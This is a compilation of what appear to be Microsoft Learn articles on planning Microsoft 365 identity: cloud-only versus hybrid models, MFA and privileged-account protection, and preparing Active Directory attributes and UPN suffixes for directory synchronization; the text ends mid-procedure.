Microsoft 365 uses Microsoft Entra ID, a cloud-based user identity and authentication
service that is included with your Microsoft 365 subscription, to manage identities and
authentication for Microsoft 365. Getting your identity infrastructure configured
correctly is vital to managing Microsoft 365 user access and permissions for your
organization.
Before you begin, watch this video for an overview of identity models and
authentication for Microsoft 365.
https://www.microsoft.com/en-us/videoplayer/embed/RE2Pjwu?postJsllMsg=true
Your first planning choice is your cloud identity model.
Microsoft cloud identity models

To plan for user accounts, you first need to understand the two identity models in
Microsoft 365. You can maintain your organization's identities only in the cloud, or you
can maintain your on-premises Active Directory Domain Services (AD DS) identities and
use them for authentication when users access Microsoft 365 cloud services.
Here are the two types of identity and their best fit and benefits.
ﾉ Expand table
Attribute Cloud-only identity Hybrid identity
Definition User account only exists in User account exists in AD DS and a copy is
the Microsoft Entra tenant also in the Microsoft Entra tenant for your
for your Microsoft 365 Microsoft 365 subscription. The user account
subscription. in Microsoft Entra ID might also include a
hashed version of the already hashed AD DS
user account password.
How Microsoft The Microsoft Entra tenant The Microsoft Entra tenant for your
365 authenticates for your Microsoft 365 Microsoft 365 subscription either handles
user credentials subscription performs the the authentication process or redirects the
user to another identity provider.
Attribute Cloud-only identity Hybrid identity
authentication with the

cloud identity account.
Best for Organizations that do not Organizations using AD DS or another

have or need an on- identity provider.
premises AD DS.
Greatest benefit Simple to use. No extra Users can use the same credentials when
directory tools or servers accessing on-premises or cloud-based
required. resources.
Cloud-only identity
A cloud-only identity uses user accounts that exist only in Microsoft Entra ID. Cloud-only
identity is typically used by small organizations that do not have on-premises servers or
do not use AD DS to manage local identities.
Here are the basic components of cloud-only identity.
Both on-premises and remote (online) users use their Microsoft Entra user accounts and
passwords to access Microsoft 365 cloud services. Microsoft Entra authenticates user
credentials based on its stored user accounts and passwords.
Administration
Because user accounts are only stored in Microsoft Entra ID, you manage cloud
identities with tools such as the Microsoft 365 admin center and Windows PowerShell.
Hybrid identity
Hybrid identity uses accounts that originate in an on-premises AD DS and have a copy
in the Microsoft Entra tenant of a Microsoft 365 subscription. Most changes, with the
exception of specific account attributes, only flow one way. Changes that you make to
AD DS user accounts are synchronized to their copy in Microsoft Entra ID.
Microsoft Entra Connect provides the ongoing account synchronization. It runs on an

on-premises server, checks for changes in the AD DS, and forwards those changes to
Microsoft Entra ID. Microsoft Entra Connect provides the ability to filter which accounts
are synchronized and whether to synchronize a hashed version of user passwords,
known as password hash synchronization (PHS).
When you implement hybrid identity, your on-premises AD DS is the authoritative

source for account information. This means that you perform administration tasks
mostly on-premises, which are then synchronized to Microsoft Entra ID.
Here are the components of hybrid identity.
The Microsoft Entra tenant has a copy of the AD DS accounts. In this configuration, both
on-premises and remote users accessing Microsoft 365 cloud services authenticate
against Microsoft Entra ID.
７ Note
You always need to use Microsoft Entra Connect to synchronize user accounts for
hybrid identity. You need the synchronized user accounts in Microsoft Entra ID to
perform license assignment and group management, configure permissions, and
other administrative tasks that involve user accounts.
Hybrid identity and directory synchronization for

Microsoft 365
Depending on your business needs and technical requirements, the hybrid identity
model and directory synchronization is the most common choice for enterprise
customers who are adopting Microsoft 365. Directory synchronization allows you to
manage identities in your Active Directory Domain Services (AD DS) and all updates to
user accounts, groups, and contacts are synchronized to the Microsoft Entra tenant of
your Microsoft 365 subscription.
７ Note
When AD DS user accounts are synchronized for the first time, they are not
automatically assigned a Microsoft 365 license and cannot access Microsoft 365
services, such as email. You must first assign them a usage location. Then, assign a
license to these user accounts, either individually or dynamically through group
membership.
Authentication for hybrid identity
There are two types of authentication when using the hybrid identity model:
Managed authentication
Microsoft Entra ID handles the authentication process by using a locally-stored

hashed version of the password or sends the credentials to an on-premises
software agent to be authenticated by the on-premises AD DS.
Federated authentication
Microsoft Entra ID redirects the client computer requesting authentication to

another identity provider.
Managed authentication
There are two types of managed authentication:
Password hash synchronization (PHS)

Microsoft Entra ID performs the authentication itself.
Pass-through authentication (PTA)
Microsoft Entra ID has AD DS perform the authentication.
With PHS, you synchronize your AD DS user accounts with Microsoft 365 and manage
your users on-premises. Hashes of user passwords are synchronized from your AD DS to
Microsoft Entra ID so that the users have the same password on-premises and in the
cloud. This is the simplest way to enable authentication for AD DS identities in Microsoft
Entra ID.
When passwords are changed or reset on-premises, the new password hashes are
synchronized to Microsoft Entra ID so that your users can always use the same password
for cloud resources and on-premises resources. The user passwords are never sent to
Microsoft Entra ID or stored in Microsoft Entra ID in clear text. Some premium features
of Microsoft Entra ID, such as Identity Protection, require PHS regardless of which
authentication method is selected.
See choosing the right authentication method to learn more.

PTA provides a simple password validation for Microsoft Entra authentication services
using a software agent running on one or more on-premises servers to validate the
users directly with your AD DS. With PTA, you synchronize AD DS user accounts with
Microsoft 365 and manage your users on-premises.
PTA allows your users to sign in to both on-premises and Microsoft 365 resources and
applications using their on-premises account and password. This configuration validates
users passwords directly against your on-premises AD DS without storing password
hashes in Microsoft Entra ID.
PTA is also for organizations with a security requirement to immediately enforce on-
premises user account states, password policies, and logon hours.
Federated authentication is primarily for large enterprise organizations with more

complex authentication requirements. AD DS identities are synchronized with Microsoft
365 and users accounts are managed on-premises. With federated authentication, users
have the same password on-premises and in the cloud and they do not have to sign in
again to use Microsoft 365.
Federated authentication can support additional authentication requirements, such as

smartcard-based authentication or a third-party multi-factor authentication and is
typically required when organizations have an authentication requirement not natively
supported by Microsoft Entra ID.
For third-party authentication and identity providers, on-premises directory objects may
be synchronized to Microsoft 365 and cloud resource access that are primarily managed
by a third-party identity provider (IdP). If your organization uses a third-party federation
solution, you can configure sign-on with that solution for Microsoft 365 provided that
the third-party federation solution is compatible with Microsoft Entra ID.
See the Microsoft Entra federation compatibility list to learn more.
Administration
Because the original and authoritative user accounts are stored in the on-premises AD
DS, you manage your identities with the same tools as you manage your AD DS.
You don't use the Microsoft 365 admin center or PowerShell for Microsoft 365 to
manage synchronized user accounts in Microsoft Entra ID.
Next step
Continue with Step 2 to secure your global administrator accounts.
Feedback

Step 2. Protect your Microsoft 365
privileged accounts
Article • 12/28/2023
This article applies to both Microsoft 365 Enterprise and Office 365 Enterprise.
Security breaches of a Microsoft 365 tenant, including information harvesting and

phishing attacks, are typically done by compromising the credentials of a Microsoft 365
privileged account. Security in the cloud is a partnership between you and Microsoft:
Microsoft cloud services are built on a foundation of trust and security. Microsoft
provides you security controls and capabilities to help you protect your data and
applications.
You own your data and identities and the responsibility for protecting them, the
security of your on-premises resources, and the security of cloud components you
control.
Microsoft provides capabilities to help protect your organization, but they're effective
only if you use them. If you don't use them, you may be vulnerable to attack. To protect
your privileged accounts, Microsoft is here to help you with detailed instructions to:
1. Create dedicated, privileged, cloud-based accounts and use them only when
necessary.
2. Configure multi-factor authentication (MFA) for your dedicated Microsoft 365

privileged accounts and use the strongest form of secondary authentication.
3. Protect privileged accounts with Zero Trust identity and device access
recommendations.
７ Note
To secure your privileged roles, check out Best practices for Microsoft Entra roles
to secure privileged access to your tenant.
1. Create dedicated, privileged, cloud-based

user accounts and use them only when
necessary
Instead of using everyday user accounts that have been assigned administrator roles,
create dedicated user accounts that have the admin roles in Microsoft Entra ID.
From this moment onward, you sign in with the dedicated privileged accounts only for
tasks that require administrator privileges. All other Microsoft 365 administration must
be done by assigning other administration roles to user accounts.
７ Note
This does require additional steps to sign out as your everyday user account and
sign in with a dedicated administrator account. But this only needs to be done
occasionally for administrator operations. Consider that recovering your Microsoft
365 subscription after an administrator account breach requires a lot more steps.
You also need to create emergency access accounts to prevent being accidentally locked
out of Microsoft Entra ID.
You can further protect your privileged accounts with Microsoft Entra Privileged Identity
Management (PIM) for on-demand, just-in-time assignment of administrator roles.
2. Configure multi-factor authentication for

your dedicated Microsoft 365 privileged
accounts
Multi-factor authentication (MFA) requires additional information beyond the account
name and password. Microsoft 365 supports these extra verification methods:
The Microsoft Authenticator app

A phone call
A randomly generated verification code sent through a text message
A smart card (virtual or physical) (requires federated authentication)
A biometric device
Oauth token
７ Note
For organizations that must adhere to National Institute of Standards and

Technology (NIST) standards, the use of a phone call or text message-based
additional verification methods are restricted. Click here for the details.
If you're a small business that is using user accounts stored only in the cloud (the cloud-
only identity model), set up MFA to configure MFA using a phone call or a text message
verification code sent to a smart phone for each dedicated privileged account.
If you're a larger organization that is using a Microsoft 365 hybrid identity model, you
have more verification options. If you have the security infrastructure already in place for
a stronger secondary authentication method, set up MFA and configure each dedicated
privileged account for the appropriate verification method.
If the security infrastructure for the desired stronger verification method isn't in place
and functioning for Microsoft 365 MFA, we strongly recommend that you configure
dedicated privileged accounts with MFA using the Microsoft Authenticator app, a phone
call, or a text message verification code sent to a smart phone for your privileged
accounts as an interim security measure. Don't leave your dedicated privileged accounts
without the extra protection provided by MFA.
For more information, see MFA for Microsoft 365.
3. Protect administrator accounts with Zero

Trust identity and device access
recommendations
To help ensure a secure and productive workforce, Microsoft provides a set of
recommendations for identity and device access. For identity, use the recommendations
and settings in these articles:
Prerequisites
Common identity and device access policies
Additional protections for enterprise

organizations
Use these additional methods to ensure that your privileged account, and the
configuration that you perform using it, are as secure as possible.
Privileged access workstation

To ensure that the execution of highly privileged tasks is as secure as possible, use a
privileged access workstation (PAW). A PAW is a dedicated computer that is only used
for sensitive configuration tasks, such as Microsoft 365 configuration that requires a
privileged account. Because this computer isn't used daily for Internet browsing or
email, it's better protected from Internet attacks and threats.
For instructions on how to set up a PAW, see Securing devices as part of the privileged
access story .
To enable Azure PIM for your Microsoft Entra tenant and administrator accounts, see the
steps to configure PIM.
To develop a comprehensive roadmap to secure privileged access against cyber

attackers, see Securing privileged access for hybrid and cloud deployments in Microsoft
Entra ID.
Privileged Identity Management

Rather than having your privileged accounts be permanently assigned an administrator
role, you can use PIM to enable on-demand, just-in-time assignment of the
administrator role when it's needed.
Your administrator accounts go from being permanent admins to eligible admins. The
administrator role is inactive until someone needs it. You then complete an activation
process to add the administrator role to the privileged account for a predetermined
amount of time. When the time expires, PIM removes the administrator role from the
privileged account.
Using PIM and this process significantly reduces the amount of time that your privileged
accounts are vulnerable to attack and use by malicious users.
Using this feature requires either Microsoft Entra ID Governance or Microsoft Entra ID
P2 subscriptions. To find the right license for your requirements, see Compare generally
available features of Microsoft Entra ID .
For information about licenses for users, see License requirements to use Privileged
Identity Management.
Privileged Identity Management.

Securing privileged access for hybrid and cloud deployments in Microsoft Entra ID
Privileged access management
Privileged access management is enabled by configuring policies that specify just-in-
time access for task-based activities in your tenant. It can help protect your organization
from breaches that may use existing privileged administrator accounts with standing
access to sensitive data or access to critical configuration settings. For example, you
could configure a privileged access management policy that requires explicit approval to
access and change organization mailbox settings in your tenant.
In this step, you'll enable privileged access management in your tenant and configure
privileged access policies that provide extra security for task-based access to data and
configuration settings for your organization. There are three basic steps to get started
with privileged access in your organization:
Creating an approver's group

Enabling privileged access
Creating approval policies
Privileged access management enables your organization to operate with zero standing
privileges and provide a layer of defense against vulnerabilities arising because of such
standing administrative access. Privileged access requires approvals for executing any
task that has an associated approval policy defined. Users needing to execute tasks
included in the approval policy must request and be granted access approval.
To enable privileged access management, see Get started with privileged access
management.
For more information, see Learn about privileged access management.
Security information and event management (SIEM)

software for Microsoft 365 logging
SIEM software run on a server performs real-time analysis of security alerts and events
created by applications and network hardware. To allow your SIEM server to include
Microsoft 365 security alerts and events in its analysis and reporting functions, integrate
Microsoft Entra ID into your SEIM. See Introduction to Azure Log Integration.
Next step
Continue with Step 3 to secure your user accounts.
Feedback

Step 3: Protect your Microsoft 365 user
accounts
Article • 04/12/2024
To increase the security of user sign-ins:
Use Windows Hello for Business

Use Microsoft Entra Password Protection
Use multifactor authentication (MFA)
Deploy identity and device access configurations
Protect against credential compromise with Microsoft Entra ID Protection
Windows Hello for Business

Windows Hello for Business in Windows 11 Enterprise replaces passwords with strong
two-factor authentication when signing on a Windows device. The two factors are a new
type of user credential that is tied to a device and a biometric or PIN.
For more information, see Windows Hello for Business Overview.
Microsoft Entra Password Protection

Microsoft Entra Password Protection detects and blocks known weak passwords and
their variants and can also block additional weak terms that are specific to your
organization. Default global banned password lists are automatically applied to all users
in a Microsoft Entra tenant. You can define additional entries in a custom banned
password list. When users change or reset their passwords, these banned password lists
are checked to enforce the use of strong passwords.
For more information, see Configure Microsoft Entra password protection.
MFA
MFA requires that user sign-ins be subject to an additional verification beyond the user
account password. Even if a malicious user determines a user account password, they
must also be able to respond to an additional verification, such as a text message sent
to a smartphone before access is granted.
Your first step in using MFA is to require it for all administrator accounts, also known as
privileged accounts. Beyond this first step, Microsoft recommends MFA For all users.
There are three ways to require your users to use MFA based on your Microsoft 365
plan.
ﾉ Expand table
Plan Recommendation
All Microsoft 365 plans Enable security defaults in Microsoft Entra ID. Security defaults in
(without Microsoft Entra ID Microsoft Entra ID include MFA for users and administrators.
P1 or P2 licenses)
Microsoft 365 E3 (includes Use the common Conditional Access policies to configure the
Microsoft Entra ID P1 following policies:
licenses) - Require MFA for administrators
- Require MFA for all users
- Block legacy authentication
Microsoft 365 E5 (includes Taking advantage of Microsoft Entra ID Protection, begin to

Microsoft Entra ID P2 implement Microsoft's recommended set of Conditional Access
licenses) and related policies by creating these two policies:
- Require MFA when sign-in risk is medium or high
- High risk users must change password
Security defaults
Security defaults is a new feature for Microsoft 365 and Office 365 paid or trial
subscriptions created after October 21, 2019. These subscriptions have security defaults
turned on, which requires all of your users to use MFA with the Microsoft Authenticator
app.
Users have 14 days to register for MFA with the Microsoft Authenticator app from their
smart phones, which begins from the first time they sign in after security defaults has
been enabled. After 14 days have passed, the user won't be able to sign in until MFA
registration is completed.
Security defaults ensure that all organizations have a basic level of security for user sign-
in that is enabled by default. You can disable security defaults in favor of MFA with
Conditional Access policies or for individual accounts.
For more information, see the overview of security defaults.

Conditional Access policies are a set of rules that specify the conditions under which
sign-ins are evaluated and access is granted. For example, you can create a Conditional
Access policy that states:
If the user account name is a member of a group for users that are assigned the
Exchange, user, password, security, SharePoint, Exchange admin, SharePoint
admin, or Global admin roles, require MFA before allowing access.
This policy allows you to require MFA based on group membership, rather than trying to
configure individual user accounts for MFA when they're assigned or unassigned from
these administrator roles.
You can also use Conditional Access policies for more advanced capabilities, such as
requiring that the sign-in is done from a compliant device, such as your laptop running
Windows 11.
Conditional Access requires Microsoft Entra ID P1 licenses, which are included with
Microsoft 365 E3 and E5.
For more information, see the overview of Conditional Access.
Using these methods together

Keep the following in mind:
You can't enable security defaults if you have any Conditional Access policies
enabled.
You can't enable any Conditional Access policies if you have security defaults
enabled.
If security defaults are enabled, all new users are prompted for MFA registration and the
use of the Microsoft Authenticator app.
This table shows the results of enabling MFA with security defaults and Conditional
Access policies.
ﾉ Expand table
Method Enabled Disabled Additional

authentication
method
Security defaults Can’t use Conditional Can use Conditional Microsoft

Access policies Access policies Authenticator app
Conditional If any are enabled, you If all are disabled, you User specifies during
Access policies can’t enable security can enable security MFA registration
defaults defaults

configurations
Zero Trust identity and device access settings and policies are recommended
prerequisite features and their settings combined with Conditional Access, Intune, and
Microsoft Entra ID Protection policies that determine whether a given access request
should be granted and under what conditions. This determination is based on the user
account of the sign-in, the device being used, the app the user is using for access, the
location from which the access request is made, and an assessment of the risk of the
request. This capability helps ensure that only approved users and devices can access
your critical resources.
７ Note
Microsoft Entra ID Protection requires Microsoft Entra ID P2 licenses, which are

included with Microsoft 365 E5.
Identity and device access policies are defined to be used in three tiers:
Baseline protection is a minimum level of security for your identities and devices
that access your apps and data.
Sensitive protection provides additional security for specific data. Identities and
devices are subject to higher levels of security and device health requirements.
Protection for environments with highly regulated or classified data is for typically
small amounts of data that are highly classified, contain trade secrets, or is subject
to data regulations. Identities and devices are subject to much higher levels of
security and device health requirements.
These tiers and their corresponding configurations provide consistent levels of
protection across your data, identities, and devices.
Microsoft highly recommends configuring and rolling out Zero Trust identity and device
access policies in your organization, including specific settings for Microsoft Teams,
Exchange Online, and SharePoint. For more information, see Zero Trust identity and
device access configurations.
Microsoft Entra ID Protection

In this section, you'll learn how to configure policies that protect against credential
compromise, where an attacker determines a user’s account name and password to gain
access to an organization’s cloud services and data. Microsoft Entra ID Protection
provides a number of ways to help prevent an attacker from compromising a user
account's credentials.
With Microsoft Entra ID Protection, you can:
ﾉ Expand table
Capability Description
Determine and address Microsoft Entra ID uses machine learning to detect anomalies and
potential vulnerabilities in suspicious activity, such as sign-ins and post-sign-in activities. Using
your organization’s this data, Microsoft Entra ID Protection generates reports and alerts
identities that help you evaluate the issues and take action.
Detect suspicious actions You can configure risk-based policies that automatically respond to
that are related to your detected issues when a specified risk level has been reached. These
organization’s identities policies, in addition to other Conditional Access controls provided
and respond to them by Microsoft Entra ID and Microsoft Intune, can either automatically
automatically block access or take corrective actions, including password resets
and requiring Microsoft Entra multifactor authentication for
subsequent sign-ins.
Investigate suspicious You can investigate risk events using information about the security
incidents and resolve them incident. Basic workflows are available to track investigations and
with administrative actions initiate remediation actions, such as password resets.
See more information about Microsoft Entra ID Protection.
See the steps to enable Microsoft Entra ID Protection.

Admin technical resources for MFA and secure
sign-ins
MFA for Microsoft 365
Deploy identity for Microsoft 365
Azure Academy Microsoft Entra ID training videos
Configure the Microsoft Entra multifactor authentication registration policy
Identity and device access configurations
Next step
Continue with Step 4 to deploy the identity infrastructure based on your chosen identity
model:
Cloud-only identity
Hybrid identity
Feedback

Microsoft 365 cloud-only identity
Article • 12/28/2023
If you have chosen the cloud-only identity model, you already have a Microsoft Entra
tenant for your Microsoft 365 subscription to store all of your users, groups, and
contacts. After setting up protection for administrator accounts in Step 2 and user
accounts in Step 3 of this solution, you're now ready to begin creating the new accounts
and groups that your organization needs.
Here are the basic components of cloud-only identity.
Users and their user accounts in organizations can be categorized in a number of ways.
For example, some are employees and have a permanent status. Some are vendors,
contractors, or partners that have a temporary status. Some are external users that have
no user accounts but must still be granted access to specific services and resources to
support interaction and collaboration. For example:
Tenant accounts represent users within your organization that you license for cloud
services
Business to Business (B2B) accounts represent users outside your organization that
you invite to participate in collaboration
Take stock of the types of users in your organization. What are the groupings? For
example, you can group users by high-level function or purpose to your organization.
Additionally, some cloud services can be shared with users outside your organization
without any user accounts. You'll need to identify these groups of users as well.
You can use groups in Microsoft Entra ID for several purposes that simplify management
of your cloud environment. For example, with Microsoft Entra groups, you can:
Use group-based licensing to assign licenses for Microsoft 365 to your user
accounts automatically as soon as they're added as members.
Add user accounts to specific groups dynamically based on user account
attributes, such as department name.
Automatically provision users for Software as a Service (SaaS) applications and to
protect access to those applications with multifactor authentication (MFA) and
other Conditional Access policies.
Provision permissions and levels of access for teams and SharePoint Online team
sites.
Next steps for cloud-only identity

Manage user accounts
Assign licenses to user accounts
Manage groups and group membership
Manage user account passwords
Feedback

Prepare for directory synchronization to
Microsoft 365
Article • 12/28/2023
If you chose the hybrid identity model and configured protection for administrator
accounts in Step 2 and user accounts in Step 3 of this solution, your next task is to
deploy directory synchronization. The benefits of directory synchronization for your
organization include:
Reducing the administrative programs in your organization

Optionally enabling single sign-on scenario
Automating account changes in Microsoft 365
For more information about the advantages of using directory synchronization, see
hybrid identity with Microsoft Entra ID.
However, directory synchronization requires planning and preparation to ensure that

your Active Directory Domain Services (AD DS) synchronizes to the Microsoft Entra
tenant of your Microsoft 365 subscription with a minimum of errors.
Follow these steps in order for the best results.
７ Note
Non-ASCII characters do not sync for any attributes on the AD DS user account.
AD DS Preparation
To help ensure a seamless transition to Microsoft 365 by using synchronization, you
must prepare your AD DS forest before you begin your Microsoft 365 directory
synchronization deployment.
Your directory preparation should focus on the following tasks:
Remove duplicate proxyAddress and userPrincipalName attributes.
Update blank and invalid userPrincipalName attributes with valid

userPrincipalName attributes.
Remove invalid and questionable characters in the givenName, surname ( sn ),
sAMAccountName, displayName, mail, proxyAddresses, mailNickname, and
userPrincipalName attributes. For details about preparing attributes, see List of
attributes that are synced by the Azure Active Directory Sync Tool .
７ Note
These are the same attributes that Microsoft Entra Connect synchronizes.
Multi-forest deployment considerations

For multiple forests and SSO options, use a Custom Installation of Microsoft Entra
Connect.
If your organization has multiple forests for authentication (logon forests), we highly
recommend the following:
Consider consolidating your forests. In general, there's more overhead required to

maintain multiple forests. Unless your organization has security constraints that
dictate the need for separate forests, consider simplifying your on-premises
environment.
Use only in your primary logon forest. Consider deploying Microsoft 365 only in
your primary logon forest for your initial rollout of Microsoft 365.
If you can't consolidate your multi-forest AD DS deployment or are using other directory
services to manage identities, you might be able to synchronize them with the help of
Microsoft or a partner.
See Topologies for Microsoft Entra Connect for more information.
Features that are dependent on directory

synchronization
Directory synchronization is required for the following features and functionality:
Microsoft Entra seamless single sign-on (SSO)

Skype coexistence
Exchange hybrid deployment, including:
Fully shared global address list (GAL) between your on-premises Exchange
environment and Microsoft 365.
Synchronizing GAL information from different mail systems.
The ability to add users to and remove users from Microsoft 365 service
offerings. This requires the following:
Two-way synchronization must be configured during directory
synchronization setup. By default, directory synchronization tools write
directory information only to the cloud. When you configure two-way
synchronization, you enable write-back functionality so that a limited number
of object attributes are copied from the cloud, and then written them back to
your local AD DS. Write-back is also referred to as Exchange hybrid mode.
An on-premises Exchange hybrid deployment.
The ability to move some user mailboxes to Microsoft 365 while keeping other
user mailboxes on-premises.
Safe senders and blocked senders on-premises are replicated to Microsoft 365.
Basic delegation and send-on-behalf-of email functionality.
You have an integrated on-premises smart card or multifactor authentication
solution.
Synchronization of photos, thumbnails, conference rooms, and security groups
1. Directory cleanup tasks

Before you synchronize your AD DS to your Microsoft Entra tenant, you need to clean
up your AD DS.
） Important
If you don't perform AD DS cleanup before you synchronize, it can lead to a

significant negative impact on the deployment process. It might take days, or even
weeks, to go through the cycle of directory synchronization, identifying errors, and
re-synchronization.
In your AD DS, complete the following clean-up tasks for each user account that will be
assigned a Microsoft 365 license:
1. Ensure a valid and unique email address in the proxyAddresses attribute.
2. Remove any duplicate values in the proxyAddresses attribute.
3. If possible, ensure a valid and unique value for the userPrincipalName attribute in
the user's user object. For the best synchronization experience, ensure that the AD
DS UPN matches the Microsoft Entra UPN. If a user doesn't have a value for the
userPrincipalName attribute, then the user object must contain a valid and unique
value for the sAMAccountName attribute. Remove any duplicate values in the
userPrincipalName attribute.
4. For optimal use of the global address list (GAL), ensure the information in the
following attributes of the AD DS user account is correct:
givenName
surname
displayName
Job Title
Department
Office
Office Phone
Mobile Phone
Fax Number
Street Address
City
State or Province
Zip or Postal Code
Country or Region
2. Directory object and attribute preparation

Successful directory synchronization between your AD DS and Microsoft 365 requires
that your AD DS attributes are properly prepared. For example, you need to ensure that
specific characters aren't used in certain attributes that are synchronized with the
Microsoft 365 environment. Unexpected characters don't cause directory
synchronization to fail but might return a warning. Invalid characters will cause directory
synchronization to fail.
Directory synchronization will also fail if some of your AD DS users have one or more
duplicate attributes. Each user must have unique attributes.
The attributes that you need to prepare are listed here:
displayName
If the attribute exists in the user object, it's synchronized with Microsoft 365.
If this attribute exists in the user object, there must be a value for it. That is, the
attribute must not be blank.
Maximum number of characters: 256
givenName
If the attribute exists in the user object, it's synchronized with Microsoft 365, but
Microsoft 365 doesn't require or use it.
mail
The attribute value must be unique within the directory.
７ Note
If there are duplicate values, the first user with the value is synchronized.
Subsequent users will not appear in Microsoft 365. You must modify either
the value in Microsoft 365 or modify both of the values in AD DS in order
for both users to appear in Microsoft 365.
mailNickname (Exchange alias)
The attribute value can't begin with a period (.).
７ Note
Underscores ("_") in the synchronized name indicates that the original value
of this attribute contains invalid characters. For more information on this
attribute, see Exchange alias attribute.
proxyAddresses
Multiple-value attribute
Maximum number of characters per value: 256
The attribute value must not contain a space.
Invalid characters: < > ( ) ; , [ ] "
Letters with diacritical marks, such as umlauts, accents, and tildes, are invalid
characters.
The invalid characters apply to the characters following the type delimiter and
":", such that SMTP:User@contso.com is allowed, but
SMTP:user:M@contoso.com isn't.
） Important
All Simple Mail Transport Protocol (SMTP) addresses should comply with
email messaging standards. Remove duplicate or unwanted addresses if
they exist.
sAMAccountName
Invalid characters: [ \ " | , / : < > + = ; ? * ']
If a user has an invalid sAMAccountName attribute but has a valid
userPrincipalName attribute, the user account is created in Microsoft 365.
If both sAMAccountName and userPrincipalName are invalid, the AD DS
userPrincipalName attribute must be updated.
sn (surname)
If the attribute exists in the user object, it's synchronized with Microsoft 365, but
Microsoft 365 doesn't require or use it.
targetAddress
It's required that the targetAddress attribute (for example,

SMTP:tom@contoso.com) that's populated for the user must appear in the
Microsoft 365 GAL. In third-party messaging migration scenarios, this would
require the Microsoft 365 schema extension for the AD DS. The Microsoft 365
schema extension would also add other useful attributes to manage Microsoft 365
objects that are populated by using a directory synchronization tool from AD DS.
For example, the msExchHideFromAddressLists attribute to manage hidden
mailboxes or distribution groups would be added.
The attribute value must not contain a space.
Invalid characters: \ < > ( ) ; , [ ] "
All Simple Mail Transport Protocol (SMTP) addresses should comply with email
messaging standards.
userPrincipalName
The userPrincipalName attribute must be in the Internet-style sign-in format
where the user name is followed by the at sign (@) and a domain name: for
example, user@contoso.com. All Simple Mail Transport Protocol (SMTP)
addresses should comply with email messaging standards.
The maximum number of characters for the userPrincipalName attribute is 113.
A specific number of characters are permitted before and after the at sign (@),
as follows:
Maximum number of characters for the username that is in front of the at sign
(@): 64
Maximum number of characters for the domain name following the at sign (@):
48
Invalid characters: \ % & * + / = ? { } | < > ( ) ; : , [ ] "
Characters allowed: A – Z, a - z, 0 – 9, ' . - _ ! # ^ ~
Letters with diacritical marks, such as umlauts, accents, and tildes, are invalid
characters.
The @ character is required in each userPrincipalName value.
The @ character can't be the first character in each userPrincipalName value.
The username can't end with a period (.), an ampersand (&), a space, or an at
sign (@).
The username can't contain any spaces.
Routable domains must be used; for example, local or internal domains can't be
used.
Unicode is converted to underscore characters.
userPrincipalName can't contain any duplicate values in the directory.
3. Prepare the userPrincipalName attribute

Active Directory is designed to allow the end users in your organization to sign in to
your directory by using either sAMAccountName or userPrincipalName. Similarly, end
users can sign in to Microsoft 365 by using the user principal name (UPN) of their work
or school account. Directory synchronization attempts to create new users in Microsoft
Entra ID by using the same UPN that's in your AD DS. The UPN is formatted like an email
address.
In Microsoft 365, the UPN is the default attribute that's used to generate the email
address. It's easy to get userPrincipalName (in AD DS and in Microsoft Entra ID) and the
primary email address in proxyAddresses set to different values. When they're set to
different values, there can be confusion for administrators and end users.
It's best to align these attributes to reduce confusion. To meet the requirements of
single sign-on with Active Directory Federation Services (AD FS) 2.0, you need to ensure
that the UPNs in Microsoft Entra ID and your AD DS match and are using a valid domain
namespace.
4. Add an alternative UPN suffix to AD DS
You might need to add an alternative UPN suffix to associate the user's corporate
credentials with the Microsoft 365 environment. A UPN suffix is the part of a UPN to the
right of the @ character. UPNs that are used for single sign-on can contain letters,
numbers, periods, dashes, and underscores, but no other types of characters.
For more information on how to add an alternative UPN suffix to Active Directory, see
Prepare for directory synchronization .
5. Match the AD DS UPN with the Microsoft

365 UPN
If you've already set up directory synchronization, the user's UPN for Microsoft 365
might not match the user's AD DS UPN that's defined in your AD DS. This condition can
occur when a user was assigned a license before the domain was verified. To fix this, use
PowerShell to fix duplicate UPN to update the user's UPN to ensure that the Microsoft
365 UPN matches the corporate user name and domain. If you're updating the UPN in
the AD DS and would like it to synchronize with the Microsoft Entra identity, you need
to remove the user's license in Microsoft 365 prior to making the changes in AD DS.
Also see How to prepare a non-routable domain (such as .local domain) for directory
synchronization.
Next steps
After you've completed steps 1 through 5, see Set up directory synchronization.
Feedback

Prepare a nonroutable domain for
directory synchronization
Article • 05/03/2024
When you synchronize your on-premises directory with Microsoft 365, you have to have
a verified domain in Microsoft Entra ID. Only the User Principal Names (UPNs) that are
associated with the on-premises Active Directory Domain Services (AD DS) domain are
synchronized. However, any UPN that contains a nonroutable domain, such as .local
(example: billa@contoso.local), is synchronized to an .onmicrosoft.com domain
(example: billa@contoso.onmicrosoft.com).
If you currently use a .local domain for your user accounts in AD DS, we recommend
that you change them to use a verified domain. For example, billa@contoso.com, in
order to properly synchronize with your Microsoft 365 domain.
What if I only have a .local on-premises

domain?
You use Microsoft Entra Connect for synchronizing your AD DS to the Microsoft Entra
tenant of your Microsoft 365 tenant. For more information, see Integrating your on-
premises identities with Microsoft Entra ID.
Microsoft Entra Connect synchronizes your users' UPN and password so that users can
sign in with the same credentials they use on-premises. However, Microsoft Entra
Connect only synchronizes users to domains that are verified by Microsoft 365.
Microsoft Entra ID verifies the domain, as it manages Microsoft 365 identities. In other
words, the domain has to be a valid Internet domain (such as, .com, .org, .NET, .us). If
your internal AD DS only uses a nonroutable domain (for example, .local ), this can't
possibly match the verified domain you have for your Microsoft 365 tenant. You can fix
this issue by either changing your primary domain in your on-premises AD DS, or by
adding one or more UPN suffixes.
Change your primary domain

Change your primary domain to a domain you've verified in Microsoft 365, for example,
contoso.com. Every user that has the domain contoso.local is then updated to
contoso.com. This is an involved process, however, and an easier solution is described in
the following section.
Add UPN suffixes and update your users to them
You can solve the .local problem by registering new UPN suffix or suffixes in AD DS to
match the domain (or domains) you verified in Microsoft 365. After you register the new
suffix, you update the user UPNs to replace the .local with the new domain name, for
example, so that a user account looks like billa@contoso.com.
After you update the UPNs to use the verified domain, you're ready to synchronize your
on-premises AD DS with Microsoft 365.
Step 1: Add the new UPN suffix
1. On the AD DS domain controller, in the Server Manager choose Tools > Active
Directory Domains and Trusts.
Or, if you don't have Windows Server 2012
Press Windows key + R to open the Run dialog, and then type in Domain.msc, and
then choose OK.
2. In the Active Directory Domains and Trusts window, right-click Active Directory
Domains and Trusts, and then choose Properties.
3. On the UPN Suffixes tab, in the Alternative UPN Suffixes box, type your new UPN
suffix or suffixes, and then choose Add > Apply.
Choose OK when you're done adding suffixes.
Step 2: Change the UPN suffix for existing users
1. On the AD DS domain controller, in the Server Manager choose Tools > Active
Directory Users and Computers.
Or, if you don't have Windows Server 2012
Press Windows key + R to open the Run dialog, and then type in Dsa.msc, and
then select OK
